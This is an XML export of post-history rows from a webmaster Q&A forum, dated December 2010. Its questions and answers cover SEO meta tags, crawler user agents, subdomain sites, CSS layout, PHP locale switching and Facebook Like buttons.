  <row Id="12406" PostHistoryTypeId="5" PostId="6185" RevisionGUID="2d8dd460-9ef6-4cb9-baa7-0be5e2ff7c30" CreationDate="2010-12-02T18:39:04.803" UserId="3590" Comment="deleted 73 characters in body" Text="im trying to make a new, modern, up to date chart of meta tags, for all of us, with their purposes, their use and their good (or bad) effects on search engines/being found. I will add your comments into my list so this chart is a result of live discussion and up to date! Also, it would be creative to invent your own meta, because i believe that we are the ones making the web, or aren't we?&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE   -   NECESSARY   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    #### important&#xD;&#xA;    meta &quot;title&quot; = P consice summary + teaser - N very - G extremely&#xD;&#xA;    meta &quot;description&quot; = P description + teaser - N yes - G very&#xD;&#xA;    meta &quot;robots&quot; = P if needed, to skip default dmoz/yahoodir listing - N no - G?&#xD;&#xA;&#xD;&#xA;    #### new &amp; promising! Thanks for input (John, )&#xD;&#xA;    meta &quot;syndication-source&quot;  P = url for syndication of published news - N? - G?&#xD;&#xA;    meta &quot;original-source&quot; P = url of whoever broke the news 2 get credit - N? - G?&#xD;&#xA;&#xD;&#xA;    #### discussion (lowest will be deleted unless you say why not)&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google&#xD;&#xA;    meta &quot;language&quot; = P overrule guesswork by defining language - N no - G yes &#xD;&#xA;    meta &quot;author&quot; = P author of the page - N? - G?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N? - G?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N? - G?&#xD;&#xA;    meta &quot;revisit-after&quot; = P when to revisit like  content=&quot;1 day&quot;&#xD;&#xA;&#xD;&#xA;    #### invented&#xD;&#xA;    meta &quot;audience&quot; = P filteres visitors &quot;+seniors, -children, -youth, +adult&quot;&#xD;&#xA;    meta &quot;mood&quot; = P specifies textual mood: &quot;discussion, informative, &#xD;&#xA;                    sensual, fictional, scientific, romantic, therapeutic&quot;" />
  <row Id="12407" PostHistoryTypeId="2" PostId="6205" RevisionGUID="4d3fe57c-8d6d-4a8b-9b94-00daebc938f7" CreationDate="2010-12-02T19:56:10.593" UserId="3236" Text="There is Ask bot, which sets this header:&#xD;&#xA;&#xD;&#xA;    Mozilla/2.0 (compatible; Ask Jeeves/Teoma) &#xD;&#xA;&#xD;&#xA;Considering this, I have the following questions:&#xD;&#xA;&#xD;&#xA;- If I'm writing a web crawler named Goofy, what user agent should I use? &#xD;&#xA;- What is the difference if I put `Mozilla/2.0` or `Mozilla/5.0` ? &#xD;&#xA;&#xD;&#xA;Any other suggestions about how should I format my user agent to comply to the current standards are most than welcomed." />
  <row Id="12408" PostHistoryTypeId="1" PostId="6205" RevisionGUID="4d3fe57c-8d6d-4a8b-9b94-00daebc938f7" CreationDate="2010-12-02T19:56:10.593" UserId="3236" Text="What user agent should I set ?" />
  <row Id="12409" PostHistoryTypeId="3" PostId="6205" RevisionGUID="4d3fe57c-8d6d-4a8b-9b94-00daebc938f7" CreationDate="2010-12-02T19:56:10.593" UserId="3236" Text="&lt;crawling&gt;&lt;user-agent&gt;&lt;robots&gt;&lt;spider&gt;&lt;site-crawler&gt;" />
  <row Id="12410" PostHistoryTypeId="2" PostId="6206" RevisionGUID="f2ea8b0a-d1d9-4885-b31c-3e25cbf943f6" CreationDate="2010-12-02T20:02:07.660" UserId="3610" Text="I'm looking at how best to launch a project using subdomains to create around 10 'minisites' of sufficiently differing content using the subdomain as branding. There will never really be much content whatsoever on the main domain, it will only act as landing page for the subdomains with some aggregate content. &#xD;&#xA;&#xD;&#xA;Are there any pitfalls I need to be aware of with this approach? I assume I should set canonical link tag to subject.domain.com and add said address in webmaster tools, repeating the action for further subdomain minisites as they're added? With this approach I will never really have much content on the main domain, it will only act as landing page for the minisites with some aggregate content.&#xD;&#xA;&#xD;&#xA;Thanks very much for advice. While this is my first question here I'm seasoned on SO so not liable to hit and run." />
  <row Id="12411" PostHistoryTypeId="1" PostId="6206" RevisionGUID="f2ea8b0a-d1d9-4885-b31c-3e25cbf943f6" CreationDate="2010-12-02T20:02:07.660" UserId="3610" Text="Subdomain as home page" />
  <row Id="12412" PostHistoryTypeId="3" PostId="6206" RevisionGUID="f2ea8b0a-d1d9-4885-b31c-3e25cbf943f6" CreationDate="2010-12-02T20:02:07.660" UserId="3610" Text="&lt;google-webmaster-tools&gt;&lt;subdomain&gt;&lt;canonical-url&gt;" />
  <row Id="12413" PostHistoryTypeId="2" PostId="6207" RevisionGUID="fbd9ece8-d176-4acb-aab5-7779b7e69354" CreationDate="2010-12-02T20:25:01.410" UserId="2293" Text="I think the following links can help:&#xD;&#xA;&#xD;&#xA;- http://www.user-agents.org/&#xD;&#xA;- http://en.wikipedia.org/wiki/User_agent#Format&#xD;&#xA;- http://tools.ietf.org/html/rfc1945#section-10.15" />
  <row Id="12414" PostHistoryTypeId="2" PostId="6208" RevisionGUID="6ea6ebea-8009-41e0-a3b2-29d131a7a8bd" CreationDate="2010-12-02T20:27:38.387" UserId="3265" Text="This [response][1] in the Facebook Developer Forum appears to answer my question:&#xD;&#xA;&#xD;&#xA;&gt; Hello,&#xD;&#xA;When you don't specify an app ID, plugins use the URL as the identifier key. So you have comments tied to two identifier keys - the URL, and the app ID. To my knowledge, these can't be merged. If you drop the app ID from the code you can continue displaying the old comments, since the plugin should revert back to the URL identifier. I'm not sure if that's how the Drupal plugin is constructed, but that's how it works out of the box.&#xD;&#xA;Best,&#xD;&#xA;Matt Trainer&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forum.developers.facebook.net/viewtopic.php?pid=293177#p293177" />
  <row Id="12415" PostHistoryTypeId="5" PostId="6164" RevisionGUID="e1fbb620-89bf-4371-80df-224982f64415" CreationDate="2010-12-02T20:46:13.987" UserId="3591" Comment="added 117 characters in body; added 26 characters in body" Text="I have been using this &lt;a href=&quot;http://www.ejeliot.com/samples/equal-height-columns/example-4.html&quot;&gt;technique&lt;/a&gt; before to get equal column heights&#xD;&#xA;&#xD;&#xA;    #page-wrap { overflow: hidden;}&#xD;&#xA;    .page-left, .page-right{float: left; width: 435px; margin-bottom: -5000px; padding-bottom: 5000px; }&#xD;&#xA;    .page-left { background: #454545; }            &#xD;&#xA;    .page-right { background: #383838; }&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;page-wrap&quot;&gt;        &#xD;&#xA;        &lt;div class=&quot;page-left&quot;&gt;&#xD;&#xA;                Blahblah&lt;br /&gt;&#xD;&#xA;                Blahblah&lt;br /&gt;&#xD;&#xA;                Blahblah&lt;br /&gt;&#xD;&#xA;        &lt;/div&gt;    &#xD;&#xA;        &lt;div class=&quot;page-right&quot;&gt;&#xD;&#xA;                Blahblah&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div class=&quot;clearboth&quot;&gt;&lt;/div&gt;    &#xD;&#xA;    &lt;/div&gt; &lt;!-- end wrap --&gt;&#xD;&#xA;&#xD;&#xA;This works fine but now I need to put #page-wrap inside another DV with margin: 10px;&lt;br /&gt;&#xD;&#xA;it works fine in &lt;b&gt;normal&lt;/b&gt; browsers, but not in IE...&#xD;&#xA;&#xD;&#xA;I have a Fiddle here: http://jsfiddle.net/SyAeq/&#xD;&#xA;&#xD;&#xA;&lt;b&gt;EDIT:&lt;/b&gt;&#xD;&#xA;Solved! Just adding a {float:left} to #page-wrap did the trick!&lt;br /&gt;&#xD;&#xA;Than a {clear:left} in a div underneath to clean it up" />
  <row Id="12416" PostHistoryTypeId="2" PostId="6209" RevisionGUID="fb5099c9-340d-449d-9829-f815ad3e13f0" CreationDate="2010-12-02T20:50:22.860" UserId="3591" Text="I am building a multi language website in PHP and prepared all my strings in English by default using &lt;code&gt;gettext()&lt;/code&gt;&lt;br /&gt;&#xD;&#xA;My locale/it_IT/LC_MESSAGES/default.mo file is working correctly and now I need to sort out the language detection and switching.&#xD;&#xA;&#xD;&#xA;I was thinking about using the approach with the GET parameter:&lt;br /&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;a href=&quot;?locale=en_US&quot;&gt;English&lt;/a&gt; | &lt;a href=&quot;?locale=it_IT&quot;&gt;Italian&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;I also thought that writing the parameter in a cookie should be better than in PHP's &lt;code&gt;$_SESSION&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;    $locale = &quot;it_IT&quot;; // default in Italian&#xD;&#xA;    if (isset($_GET[&quot;locale&quot;])) {&#xD;&#xA;        $locale = $_GET[&quot;locale&quot;];&#xD;&#xA;        setcookie(&quot;locale&quot;, $locale, time()+60*60*24*365*10, &quot;/&quot;); // for 10 years&#xD;&#xA;    }&#xD;&#xA;    if (!$locale &amp;&amp; isset($_COOKIE[&quot;locale&quot;])) {&#xD;&#xA;        $locale = $_COOKIE[&quot;locale&quot;];&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    // locales directory&#xD;&#xA;    $locales_root = $_SERVER['DOCUMENT_ROOT'] . &quot;/locale&quot;; &#xD;&#xA;    $domain = &quot;default&quot;;&#xD;&#xA;    // activate the locale setting&#xD;&#xA;    putenv(&quot;LC_ALL=$locale&quot;);&#xD;&#xA;    setlocale(LC_ALL, $locale);&#xD;&#xA;    // bind it, than activate&#xD;&#xA;    bindtextdomain($domain, $locales_root);&#xD;&#xA;    textdomain($domain);&#xD;&#xA;&#xD;&#xA;OK so far, so good.&lt;br /&gt;&#xD;&#xA;Now my actual question……&lt;br /&gt;&#xD;&#xA;How can a search engine index the English content? It follows the &quot;?locale=en_US&quot; link, than what?&lt;br /&gt;&#xD;&#xA;Does the cookie get written? The first page is translated fine, but I am not adding the GET parameter to all my links.&#xD;&#xA;I saw this on some websites before; when you change the language the URL changes to somewebsite.com/it/ (mode_rewrite?) and the next click it's not added anymore." />
  <row Id="12417" PostHistoryTypeId="1" PostId="6209" RevisionGUID="fb5099c9-340d-449d-9829-f815ad3e13f0" CreationDate="2010-12-02T20:50:22.860" UserId="3591" Text="Can search engines change language and read the cookie?" />
  <row Id="12418" PostHistoryTypeId="3" PostId="6209" RevisionGUID="fb5099c9-340d-449d-9829-f815ad3e13f0" CreationDate="2010-12-02T20:50:22.860" UserId="3591" Text="&lt;search-engines&gt;&lt;cookie&gt;" />
  <row Id="12419" PostHistoryTypeId="2" PostId="6210" RevisionGUID="3cfe5304-b0c4-4cd6-a0f4-9db898e2d193" CreationDate="2010-12-02T20:55:33.713" UserId="2313" Text="Plimus.com is easy to use." />
  <row Id="12420" PostHistoryTypeId="16" PostId="6185" RevisionGUID="a9222ff3-22cc-47c1-b736-0c664141062a" CreationDate="2010-12-02T20:57:32.767" UserId="3590" />
  <row Id="12421" PostHistoryTypeId="5" PostId="6185" RevisionGUID="a9222ff3-22cc-47c1-b736-0c664141062a" CreationDate="2010-12-02T20:57:32.767" UserId="3590" Comment="deleted 4 characters in body" Text="im trying to make a new, modern, up to date chart of meta tags, for all of us, with their purposes, their use and their good (or bad) effects on search engines/being found. I will add your comments into my list so this chart is a result of live discussion and up to date! Also, it would be creative to invent your own meta, because i believe that we are the ones making the web, or aren't we?&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE   -   NECESSARY   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    #### important&#xD;&#xA;    meta &quot;title&quot; = P consice summary + teaser - N very - G extremely&#xD;&#xA;    meta &quot;description&quot; = P description + teaser - N yes - G very&#xD;&#xA;    meta &quot;robots&quot; = P if needed, to skip default dmoz/yahoodir listing - N no - G?&#xD;&#xA;&#xD;&#xA;    #### new &amp; promising! Thanks for input (John, )&#xD;&#xA;    meta &quot;syndication-source&quot;  P url for syndication of published news - N? - G?&#xD;&#xA;    meta &quot;original-source&quot; P url of whoever broke the news gets credits - N? - G?&#xD;&#xA;&#xD;&#xA;    #### discussion (lowest will be deleted unless you say why not)&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google&#xD;&#xA;    meta &quot;language&quot; = P overrule guesswork by defining language - N no - G yes &#xD;&#xA;    meta &quot;author&quot; = P author of the page - N? - G?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N? - G?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N? - G?&#xD;&#xA;    meta &quot;revisit-after&quot; = P when to revisit like  content=&quot;1 day&quot;&#xD;&#xA;&#xD;&#xA;    #### invented&#xD;&#xA;    meta &quot;audience&quot; = P filteres visitors &quot;+seniors, -children, -youth, +adult&quot;&#xD;&#xA;    meta &quot;mood&quot; = P specifies textual mood: &quot;discussion, informative, &#xD;&#xA;                    sensual, fictional, scientific, romantic, therapeutic&quot;" />
  <row Id="12422" PostHistoryTypeId="2" PostId="6211" RevisionGUID="8dbbac6d-e9fd-40c3-bf49-e3d651f1a017" CreationDate="2010-12-02T21:01:06.610" UserId="660" Text="Why not pass the locale all the time in the url?&#xD;&#xA;&#xD;&#xA;Like `http://yousite.com/en/index.php` and `/it/index.php`?&#xD;&#xA;&#xD;&#xA;This effectively solves your problem." />
  <row Id="12423" PostHistoryTypeId="2" PostId="6212" RevisionGUID="3d3d8759-4b8d-48af-9391-d87569ea8da0" CreationDate="2010-12-02T21:14:07.967" UserId="660" Text="Not dead, not as good as in the past. Worths the trouble." />
  <row Id="12424" PostHistoryTypeId="2" PostId="6213" RevisionGUID="18fdc8eb-f00b-4241-b308-6192b6ac9ead" CreationDate="2010-12-02T21:17:56.057" UserId="660" Text="Since the question was `how` important, tha answer would be `it is of minor importance, as long as your code is not a validation nightmare`" />
  <row Id="12425" PostHistoryTypeId="2" PostId="6214" RevisionGUID="a217f1c1-fdda-4e37-b947-3d02ad430257" CreationDate="2010-12-02T21:27:54.453" UserId="660" Text="Do not over-worry about it. I do the same thing and all my mini-sites rank well. On the domain page there are only link to sub-domains. Personally, I never link back from the sub-domains to the main domain (why? - reciprocal links are bad).&#xD;&#xA;&#xD;&#xA;Focus on your off-site seo efforts." />
  <row Id="12426" PostHistoryTypeId="2" PostId="6215" RevisionGUID="a93dbd75-b98e-4028-9029-51629cbd7a97" CreationDate="2010-12-02T21:40:56.637" UserId="660" Text="They are not blackhat tactics. They kinda work. They used to work a lot better.&#xD;&#xA;&#xD;&#xA;If you build 1000 of them with a tool, then it 's blackhat. But of course it 's 1000 times more effective so pick your poison. ;-)" />
  <row Id="12427" PostHistoryTypeId="2" PostId="6216" RevisionGUID="6a8d6811-d520-4420-90b5-eef184022d8d" CreationDate="2010-12-02T21:47:58.157" UserId="660" Text="Do what you do now, just add the static links to your other pages somewhere on the page (if they are not too many). Problem solved. ;)" />
  <row Id="12428" PostHistoryTypeId="2" PostId="6217" RevisionGUID="ffffba08-dbb6-46df-b15d-9f1bcb33de27" CreationDate="2010-12-02T22:09:21.517" UserId="221" Text="Mozilla/2.0 and Mozilla/5.0 are both references to the Mozilla browser. It has become largely meaningless, with many crawlers using it, but should tell the site to treat your crawler as it would any random user browsing with a regular browser.&#xD;&#xA;&#xD;&#xA;It is however good etiquette to include an URL linking to a page about who you are and why you are crawling in the following section. Ask Jeeves can get away with just the name, but you should include an URL.&#xD;&#xA;&#xD;&#xA;E.g.&#xD;&#xA;&#xD;&#xA;    Mozilla/5.0 (compatible; http://example.org/)&#xD;&#xA;&#xD;&#xA;This will allow web admins to figure out why you are crawling their site and also to contact you if there is a problem with how your crawler is behaving." />
  <row Id="12429" PostHistoryTypeId="2" PostId="6218" RevisionGUID="7cb17d5c-d390-4624-9f30-461566018f70" CreationDate="2010-12-02T22:44:53.697" UserId="1429" Text="just a quick question, **is it possible to create an *FB Like* button in plain HTML?** &#xD;&#xA;&#xD;&#xA;I checked out the Like button code dircetly cerated by [developers.FB][1] but it's an &#xD;&#xA;&#xD;&#xA;    &lt;iframe src=&quot;http://www.facebook.com/plugins/like.php?href=...&gt;&lt;/iframe&gt;&#xD;&#xA;&#xD;&#xA;I also checked out the [addthis.com][2] and it's a bunch of **Javascript**.&#xD;&#xA;&#xD;&#xA;I mean: **is there a way to just use something simple?** Example:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.facebook.com...?page=my-fb-page...&quot; rel=&quot;nofollow&quot;&gt;FB like, click here&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;I know in this way it won't show anymore &quot;how many people like&quot;, but I don't mind this, I just want something simple, so I can use my own icon or text, etc.&#xD;&#xA;&#xD;&#xA;In my understanding for the Share button is possible by just adding:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.facebook.com/share.php?u=your-percent-encoded-url-of-your-site-page.hmtl&quot;&gt;To share on FB click here.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;So i suppose it could be possible also for the Like button.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.facebook.com/docs/reference/plugins/like&#xD;&#xA;  [2]: http://www.addthis.com/web-button?where=website&amp;type=bm&amp;clickbacks=1&amp;frm=home&amp;bm=tb8&amp;analytics=0" />
  <row Id="12430" PostHistoryTypeId="1" PostId="6218" RevisionGUID="7cb17d5c-d390-4624-9f30-461566018f70" CreationDate="2010-12-02T22:44:53.697" UserId="1429" Text="Facebook like button in plain HTML, is it possible?" />
  <row Id="12431" PostHistoryTypeId="3" PostId="6218" RevisionGUID="7cb17d5c-d390-4624-9f30-461566018f70" CreationDate="2010-12-02T22:44:53.697" UserId="1429" Text="&lt;links&gt;&lt;facebook&gt;&lt;link&gt;" />
  <row Id="12432" PostHistoryTypeId="2" PostId="6219" RevisionGUID="0b92c94f-558c-40ca-9da0-96f6fb536818" CreationDate="2010-12-02T23:23:55.480" UserDisplayName="Ad Manager" Text="You can use an ad server like [AdSpeed.com][1] to manage, serve and track ads provided by your advertisers/clients.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://adspeed.com" />
  <row Id="12433" PostHistoryTypeId="2" PostId="6220" RevisionGUID="de16fb35-58d9-406c-9fdc-2728f9932e08" CreationDate="2010-12-03T02:51:39.837" UserId="2595" Text="I don't believe that this can be done. The code for the like button has to identify if you are logged into an account and if so rather or not you've liked the topic already. This couldn't be done in plane HTML. The closest you could get is the iframe that you mentioned. " />
  <row Id="12434" PostHistoryTypeId="2" PostId="6221" RevisionGUID="9090bef5-8d07-4ba8-8237-a0a5da002cbc" CreationDate="2010-12-03T04:15:26.753" UserId="3620" Text="I am working on redesigning a page that displays a 2 column table of approximately 200 manufacturer names.  The page becomes very long but so far isn't incredibly unmanageable, but I'm trying to apply a more futuristic design.&#xD;&#xA;&#xD;&#xA;I provided a sample page to the client with a 5 column table of smaller logos, but due to the vast diversity of colors in the logos it made the page look extremely busy.&#xD;&#xA;&#xD;&#xA;The client does not want to have users click to view the manufacturer list (I proposed some jQuery goodness broken down by category).&#xD;&#xA;&#xD;&#xA;Anyway, just thought I'd check to see if anybody has any samples of displaying longer lists as I'm not the most creative person around.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="12435" PostHistoryTypeId="1" PostId="6221" RevisionGUID="9090bef5-8d07-4ba8-8237-a0a5da002cbc" CreationDate="2010-12-03T04:15:26.753" UserId="3620" Text="Creative ways to display long lists" />
  <row Id="12436" PostHistoryTypeId="3" PostId="6221" RevisionGUID="9090bef5-8d07-4ba8-8237-a0a5da002cbc" CreationDate="2010-12-03T04:15:26.753" UserId="3620" Text="&lt;web-design&gt;" />
  <row Id="12437" PostHistoryTypeId="2" PostId="6222" RevisionGUID="978f19ec-3817-43cc-afce-de4ba5062396" CreationDate="2010-12-03T04:45:42.140" UserId="3142" Text="It really depends upon what's important to you.&#xD;&#xA;&#xD;&#xA;As far as the most Sharepoint-like solution goes, IMO Al Fresco is it (that's good to some, but bad to others... depends on what you need).&#xD;&#xA;&#xD;&#xA;For publishing of documents, Drupal and Joomla would be a better choice, and they can be extended very well with plugins provided by their large and active communities.&#xD;&#xA;&#xD;&#xA;If your need is tied to business process management -- such as oversight on active projects, then a product such as Active Collab would be a better fit. It's not very Sharepoint like, but many people try to build things in Sharepoint that are ready to roll in other off-the-shelf solutions.&#xD;&#xA;&#xD;&#xA;Good luck. Have fun checking out these various solutions!" />
  <row Id="12438" PostHistoryTypeId="2" PostId="6223" RevisionGUID="f991298f-d5f3-494a-bb79-0ca4a48e7b33" CreationDate="2010-12-03T07:18:24.943" UserId="3498" Text="You could try using bigger padding values on the table cells, thus making some visual space." />
  <row Id="12439" PostHistoryTypeId="2" PostId="6224" RevisionGUID="918f6a64-38e8-4bc7-b2ca-1132479cf8e0" CreationDate="2010-12-03T07:26:44.370" UserId="2026" Text="I am searching for a good adsense provider who pays per impression. &#xD;&#xA;please suggest" />
  <row Id="12440" PostHistoryTypeId="1" PostId="6224" RevisionGUID="918f6a64-38e8-4bc7-b2ca-1132479cf8e0" CreationDate="2010-12-03T07:26:44.370" UserId="2026" Text="Pay per impression adsense provider" />
  <row Id="12441" PostHistoryTypeId="3" PostId="6224" RevisionGUID="918f6a64-38e8-4bc7-b2ca-1132479cf8e0" CreationDate="2010-12-03T07:26:44.370" UserId="2026" Text="&lt;google-adsense&gt;" />
  <row Id="12442" PostHistoryTypeId="2" PostId="6225" RevisionGUID="82925fb4-ee56-46d2-986d-b1ce02e4efa9" CreationDate="2010-12-03T07:30:04.770" UserId="2026" Text="You can make attractive timeline where all the columns may seem as they are linked by some bakeground image.&#xD;&#xA;Replace standard scroll bar with some advanced/modern control like slider etc." />
  <row Id="12443" PostHistoryTypeId="2" PostId="6226" RevisionGUID="3b287311-fd88-4a2b-bd4b-b3270beff7eb" CreationDate="2010-12-03T07:35:47.423" UserId="3453" Text="Search engines do not parse any content hidden behind a cookie. Also, hardly ever do they read content presented by a javascript (sometimes Google does).&#xD;&#xA;&#xD;&#xA;I suggest having a look at the Yii framework, it is pretty easy for beginners, it will answer many questions, and will save you lots of trouble." />
  <row Id="12444" PostHistoryTypeId="6" PostId="6209" RevisionGUID="8118d46c-6d8b-4790-9dbd-6944da8cb4d2" CreationDate="2010-12-03T07:37:17.860" UserId="3453" Comment="edited tags" Text="&lt;search-engines&gt;&lt;cookie&gt;&lt;multilingual&gt;" />
  <row Id="12445" PostHistoryTypeId="12" PostId="6163" RevisionGUID="35bbd5a8-1c14-450d-933e-ec7746a8b9cc" CreationDate="2010-12-03T07:40:05.927" UserId="3590" Text="[{&quot;Id&quot;:3590,&quot;DisplayName&quot;:&quot;Sam&quot;}]" />
  <row Id="12446" PostHistoryTypeId="2" PostId="6228" RevisionGUID="74e5b43a-8a55-4f4a-861f-9881aeae6d63" CreationDate="2010-12-02T18:14:21.823" UserDisplayName="zanlok" Text="1. Yes. See comments below.&#xD;&#xA;2. Any MVC pattern that includes a templated view, will get you to that 'skinnable' place. I'd suggest looking at the way WordPress ships its content, because it's using mod_rewrite to be optimally SEO friendly as far as URLs go. The way PHPBB provides pseudo-templates (pre-compiled and cached) is cool, as well. If performance becomes a serious issue, I'd highly recommend [Blitz][1], otherwise something easier like [Smarty][2].&#xD;&#xA;&#xD;&#xA;More regarding SEO... I will note that you will really want every url to go to unique content, or you will end up suffering a relevancy penalty in the page analysis done by search engines. Really, I'd suggest consolidating everything and only linking to the other sites/domains where there is unique content offered, even if that's just comments. You want to pull as many things relevant as possible in one place, and keep it fresh as possible. Things like user comments/reviews/ratings help auto-freshen content and help re-invigorate keywords over time, provided you have an active user base.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://alexeyrybak.com/blitz/blitz_en.html&#xD;&#xA;  [2]: http://www.smarty.net/" />
  <row Id="12447" PostHistoryTypeId="2" PostId="6227" RevisionGUID="add4c283-338d-4224-a8d9-7212f5386936" CreationDate="2010-12-02T04:44:43.757" UserDisplayName="heath" Text="My question is two-fold, but first, a short background.  I have a client that is a regional franchise for a service company and each physical site has its own domain and the main &quot;corporate&quot; physical site has its own domain as well.  They each, as independent owners, also have completely different looking websites.  They have since decided to have all physical sites (including corporate) websites to have the same look.  They have also realized that probably 90% of the website pages will have the exact same information on them.  The other 10% will basically be staff bios, pictures of their individual physical sites, and maybe some events that are exclusive to their own physical site.&#xD;&#xA;&#xD;&#xA;1.  From an SEO standpoint, does it make more sense to ditch all of the domains and just keep the single corporate site which holds all of the company wide info and then have the ability to show site exclusive content just as a function of normal site navigation?  Or should each domain website look 90% identical, 10% exclusive and provide links either to all sites or only back to the corporate site?  One point I'm considering is if corporate is in Town A and someone searches google for the search terms we've optimized, but they add a geo location of Town B (in which a franchise physical site exists) which is 30 miles from Town A, would we benefit from having multiple domains, each having it's own place page and it's address on each page of the site?&#xD;&#xA;&#xD;&#xA;2.  Ok, hopefully #1 was relatively clear.  If we opt for multiple domains with 90% same content and 10% exclusive, what is the best way to architect this so I don't actually have to build and, inevitably, update nearly the same site 10 times?  I would think that keeping identical content on the corporate domain and exclusive content on each franchise domain would be, theoretically, the best route but I'm really not sure how to go about doing that.  I'm using PHP5 and have written my own, very small framework.&#xD;&#xA;" />
  <row Id="12448" PostHistoryTypeId="1" PostId="6227" RevisionGUID="add4c283-338d-4224-a8d9-7212f5386936" CreationDate="2010-12-02T04:44:43.757" UserDisplayName="heath" Text="SEO/Architecture for multiple related websites" />
  <row Id="12449" PostHistoryTypeId="3" PostId="6227" RevisionGUID="add4c283-338d-4224-a8d9-7212f5386936" CreationDate="2010-12-02T04:44:43.757" UserDisplayName="heath" Text="&lt;php&gt;&lt;architecture&gt;&lt;seo&gt;" />
  <row Id="12450" PostHistoryTypeId="17" PostId="6227" RevisionGUID="6fed4dca-c769-4cfa-a2d2-1ab614dfd769" CreationDate="2010-12-03T07:43:08.913" UserId="-1" Comment="from http://stackoverflow.com/questions/4331756/seo-architecture-for-multiple-related-websites" Text="" />
  <row Id="12451" PostHistoryTypeId="2" PostId="6229" RevisionGUID="e57621b4-9300-4e0a-b577-03a3253131a7" CreationDate="2010-12-03T07:44:20.707" UserId="3453" Text="There are scripts to compress CSS on-demand like [these][1].&#xD;&#xA;&#xD;&#xA;Have you stumbled upon something similar for javascripts? Also, any recommendations regarding CSS and JS compression are more than welcome. What methods do you use, if any?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.catswhocode.com/blog/3-ways-to-compress-css-files-using-php" />
  <row Id="12452" PostHistoryTypeId="1" PostId="6229" RevisionGUID="e57621b4-9300-4e0a-b577-03a3253131a7" CreationDate="2010-12-03T07:44:20.707" UserId="3453" Text="Recommend me a CSS/JS compressor" />
  <row Id="12453" PostHistoryTypeId="3" PostId="6229" RevisionGUID="e57621b4-9300-4e0a-b577-03a3253131a7" CreationDate="2010-12-03T07:44:20.707" UserId="3453" Text="&lt;css&gt;&lt;javascript&gt;&lt;compression&gt;" />
  <row Id="12454" PostHistoryTypeId="5" PostId="6107" RevisionGUID="2c35d45d-fd17-4fdb-9cbf-91ccefab4eb4" CreationDate="2010-12-03T07:45:41.273" UserId="3590" Comment="added 74 characters in body" Text="1. **http://yoursite.com**&#xD;&#xA;&#xD;&#xA;2. **www.yoursite.com** &#xD;&#xA;&#xD;&#xA;3. **http://www.yoursite.com** &#xD;&#xA;&#xD;&#xA;4. **yoursite.com** &#xD;&#xA;&#xD;&#xA;Which of the two would you choose as the base url if you were to make a site for 2011 and beyond, which domainname would you give out to others? Others are clients, websites linking to you, your letterhead, contact cards. Why one OR other? Which to avoid?&#xD;&#xA;&#xD;&#xA;Thinking of the following aspects:&#xD;&#xA;&#xD;&#xA; - validity, correctly loading url&#xD;&#xA; - audience, most geeks know http://, most seniors/clients don't&#xD;&#xA; - easiest to remember / url as a brand&#xD;&#xA; - misspellings by user input (in mobile phone or desktop browser)&#xD;&#xA; - total length of chars for easy user input&#xD;&#xA; - method of peferance by major search engines/social media sites&#xD;&#xA; - consistency sothat links dont fragment but all point to the same" />
  <row Id="12455" PostHistoryTypeId="2" PostId="6230" RevisionGUID="cd1482ac-85c8-4438-b72f-44b3c1ac9cd4" CreationDate="2010-12-03T07:46:23.950" UserId="3453" Text="OK, I get it, CSS files should be grouped to reduce HTTP requests.&#xD;&#xA;&#xD;&#xA;My question is whether the @import method does a good work?&#xD;&#xA;&#xD;&#xA;Also, can I somehow group print and screen stylesheets?" />
  <row Id="12456" PostHistoryTypeId="1" PostId="6230" RevisionGUID="cd1482ac-85c8-4438-b72f-44b3c1ac9cd4" CreationDate="2010-12-03T07:46:23.950" UserId="3453" Text="Using @import in CSS files" />
  <row Id="12457" PostHistoryTypeId="3" PostId="6230" RevisionGUID="cd1482ac-85c8-4438-b72f-44b3c1ac9cd4" CreationDate="2010-12-03T07:46:23.950" UserId="3453" Text="&lt;css&gt;&lt;import&gt;" />
